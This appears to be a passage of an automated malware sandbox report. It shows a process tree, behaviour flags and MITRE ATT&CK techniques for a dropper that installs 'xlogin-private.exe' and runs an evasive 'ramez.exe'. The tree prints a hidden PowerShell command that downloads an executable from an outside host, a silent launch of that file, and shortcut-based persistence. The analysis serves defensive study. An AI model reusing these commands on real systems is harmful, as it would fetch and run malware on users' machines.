        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=gpu-process --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Roaming\xlogin-private.exe\EBWebView" --webview-exe-name=xlogin-private.exe --webview-exe-version=1.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=1844,i,9200018092283725715,5489479515846595062,262144 --disable-features=msSmartScreenProtection --variations-seed-version --mojo-platform-channel-handle=1840 /prefetch:2
        10⤵
        
        PID:3580
        
        C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Roaming\xlogin-private.exe\EBWebView" --webview-exe-name=xlogin-private.exe --webview-exe-version=1.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --always-read-main-dll --field-trial-handle=2144,i,9200018092283725715,5489479515846595062,262144 --disable-features=msSmartScreenProtection --variations-seed-version --mojo-platform-channel-handle=2156 /prefetch:11
        10⤵
        
        PID:6116
        
        C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Roaming\xlogin-private.exe\EBWebView" --webview-exe-name=xlogin-private.exe --webview-exe-version=1.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --always-read-main-dll --field-trial-handle=1388,i,9200018092283725715,5489479515846595062,262144 --disable-features=msSmartScreenProtection --variations-seed-version --mojo-platform-channel-handle=2380 /prefetch:13
        10⤵
        
        PID:4780
        
        C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Roaming\xlogin-private.exe\EBWebView" --webview-exe-name=xlogin-private.exe --webview-exe-version=1.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --js-flags="--harmony-weak-refs-with-cleanup-some --expose-gc --ms-user-locale=" --always-read-main-dll --field-trial-handle=3612,i,9200018092283725715,5489479515846595062,262144 --disable-features=msSmartScreenProtection --variations-seed-version --mojo-platform-channel-handle=3644 /prefetch:1
        10⤵
        
        PID:4552
        
        C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --video-capture-use-gpu-memory-buffer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Roaming\xlogin-private.exe\EBWebView" --webview-exe-name=xlogin-private.exe --webview-exe-version=1.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --always-read-main-dll --field-trial-handle=4048,i,9200018092283725715,5489479515846595062,262144 --disable-features=msSmartScreenProtection --variations-seed-version --mojo-platform-channel-handle=4064 /prefetch:12
        10⤵
        
        PID:4076
        
        C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Roaming\xlogin-private.exe\EBWebView" --webview-exe-name=xlogin-private.exe --webview-exe-version=1.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --always-read-main-dll --field-trial-handle=4052,i,9200018092283725715,5489479515846595062,262144 --disable-features=msSmartScreenProtection --variations-seed-version --mojo-platform-channel-handle=4228 /prefetch:14
        10⤵
        Modifies registry class
        
        PID:5456
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -ExecutionPolicy Bypass -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut(\"C:\Users\Admin\Desktop\XLogin.lnk\"); $Shortcut.TargetPath = \"C:\Users\Public\Downloads\xlogin-private.exe\"; $Shortcut.Save()"
        9⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3644
        
        C:\Users\Public\Downloads\xlogin-private.exe
        
        C:\Users\Public\Downloads\xlogin-private.exe
        9⤵
        Executes dropped EXE
        Adds Run key to start application
        Checks whether UAC is enabled
        Suspicious use of AdjustPrivilegeToken
        
        PID:3532
        
        C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=xlogin-private.exe --webview-exe-version=1.0.0 --user-data-dir="C:\Users\Admin\AppData\Roaming\xlogin-private.exe\EBWebView" --noerrdialogs --embedded-browser-webview-dpi-awareness=2 --disable-features=msSmartScreenProtection --mojo-named-platform-channel-pipe=3532.1880.13569608279622874044
        10⤵
        Drops file in Windows directory
        Enumerates system info in registry
        Modifies data under HKEY_USERS
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        
        PID:1904
        
        C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Roaming\xlogin-private.exe\EBWebView /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Roaming\xlogin-private.exe\EBWebView\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=132.0.6834.160 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --annotation=plat=Win64 "--annotation=prod=Edge WebView2" --annotation=ver=132.0.2957.140 --initial-client-data=0x164,0x168,0x16c,0x140,0x174,0x7ffd186eb078,0x7ffd186eb084,0x7ffd186eb090
        11⤵
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:3912
        
        C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=gpu-process --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Roaming\xlogin-private.exe\EBWebView" --webview-exe-name=xlogin-private.exe --webview-exe-version=1.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=1760,i,15381308958704924984,6186827659065187305,262144 --disable-features=msSmartScreenProtection --variations-seed-version --mojo-platform-channel-handle=1752 /prefetch:2
        11⤵
        
        PID:3352
        
        C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Roaming\xlogin-private.exe\EBWebView" --webview-exe-name=xlogin-private.exe --webview-exe-version=1.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --always-read-main-dll --field-trial-handle=1904,i,15381308958704924984,6186827659065187305,262144 --disable-features=msSmartScreenProtection --variations-seed-version --mojo-platform-channel-handle=2008 /prefetch:11
        11⤵
        
        PID:2472
        
        C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Roaming\xlogin-private.exe\EBWebView" --webview-exe-name=xlogin-private.exe --webview-exe-version=1.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --always-read-main-dll --field-trial-handle=2256,i,15381308958704924984,6186827659065187305,262144 --disable-features=msSmartScreenProtection --variations-seed-version --mojo-platform-channel-handle=2268 /prefetch:13
        11⤵
        
        PID:4064
        
        C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Roaming\xlogin-private.exe\EBWebView" --webview-exe-name=xlogin-private.exe --webview-exe-version=1.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --js-flags="--harmony-weak-refs-with-cleanup-some --expose-gc --ms-user-locale=" --always-read-main-dll --field-trial-handle=3464,i,15381308958704924984,6186827659065187305,262144 --disable-features=msSmartScreenProtection --variations-seed-version --mojo-platform-channel-handle=3528 /prefetch:1
        11⤵
        
        PID:4300
        
        C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --video-capture-use-gpu-memory-buffer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Roaming\xlogin-private.exe\EBWebView" --webview-exe-name=xlogin-private.exe --webview-exe-version=1.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --always-read-main-dll --field-trial-handle=4116,i,15381308958704924984,6186827659065187305,262144 --disable-features=msSmartScreenProtection --variations-seed-version --mojo-platform-channel-handle=3848 /prefetch:12
        11⤵
        
        PID:3864
        
        C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Roaming\xlogin-private.exe\EBWebView" --webview-exe-name=xlogin-private.exe --webview-exe-version=1.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --always-read-main-dll --field-trial-handle=3980,i,15381308958704924984,6186827659065187305,262144 --disable-features=msSmartScreenProtection --variations-seed-version --mojo-platform-channel-handle=4300 /prefetch:14
        11⤵
        Modifies registry class
        
        PID:2424
        
        C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=gpu-process --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Roaming\xlogin-private.exe\EBWebView" --webview-exe-name=xlogin-private.exe --webview-exe-version=1.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=1912,i,15381308958704924984,6186827659065187305,262144 --disable-features=msSmartScreenProtection --variations-seed-version --mojo-platform-channel-handle=4380 /prefetch:2
        11⤵
        
        PID:960
        
        C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=xlogin-private.exe --webview-exe-version=1.0.0 --user-data-dir="C:\Users\Admin\AppData\Roaming\xlogin-private.exe\EBWebView" --noerrdialogs --embedded-browser-webview-dpi-awareness=2 --disable-features=msSmartScreenProtection --mojo-named-platform-channel-pipe=4340.4544.4601520750354949934
        8⤵
        
        PID:3960
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\10341801121\rUN5TjB.cmd"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1720
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://xlogin.io/xlogin-private.exe' -OutFile 'xlogin-private.exe'"
        7⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2100
      - C:\Users\Admin\AppData\Local\Temp\10341810101\4e423e47a2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10341810101\4e423e47a2.exe"
        6⤵
        Downloads MZ/PE file
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2848

C:\Users\Admin\AppData\Local\Temp\d610cf342e\ramez.exe
C:\Users\Admin\AppData\Local\Temp\d610cf342e\ramez.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:3768

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Public\Downloads\xlogin-private.exe" -silent
1⤵
- Suspicious use of WriteProcessMemory
PID:952
- C:\Users\Public\Downloads\xlogin-private.exe
  C:\Users\Public\Downloads\xlogin-private.exe -silent
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:3188

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004D4 0x00000000000004E4
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5044

C:\Users\Admin\AppData\Local\Temp\d610cf342e\ramez.exe
C:\Users\Admin\AppData\Local\Temp\d610cf342e\ramez.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:1300

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Virtualization/Sandbox Evasion

Credential Access

Discovery

Network Share Discovery

T1135

Query Registry

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion